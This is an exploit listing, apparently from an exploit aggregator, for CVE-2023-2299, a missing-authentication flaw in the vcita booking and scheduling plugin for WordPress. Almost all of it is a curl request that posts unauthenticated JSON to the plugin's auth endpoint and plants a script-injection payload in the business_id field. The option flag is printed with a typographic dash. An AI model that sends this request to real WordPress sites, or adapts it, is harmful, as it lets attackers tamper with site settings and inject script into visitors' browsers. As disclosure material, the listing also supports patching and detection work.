Exploit for Online Booking & Scheduling Calendar for WordPress by vcita <= 4.3.3 - Missing authentication CVE-2023-2299

## https://sploitus.com/exploit?id=WPEX-ID:7182E20B-94F0-4337-9910-C23EDB64EEC3
curl https://example.com/wp-json/vcita-wordpress/v1/actions/auth \
   –json '{
       "success": true,
       "user_data": {
           "business_id": "\"; alert(1); //",
           "business_name": "Evil Eve",
           "email": "eve@evil.com"
       }
   }'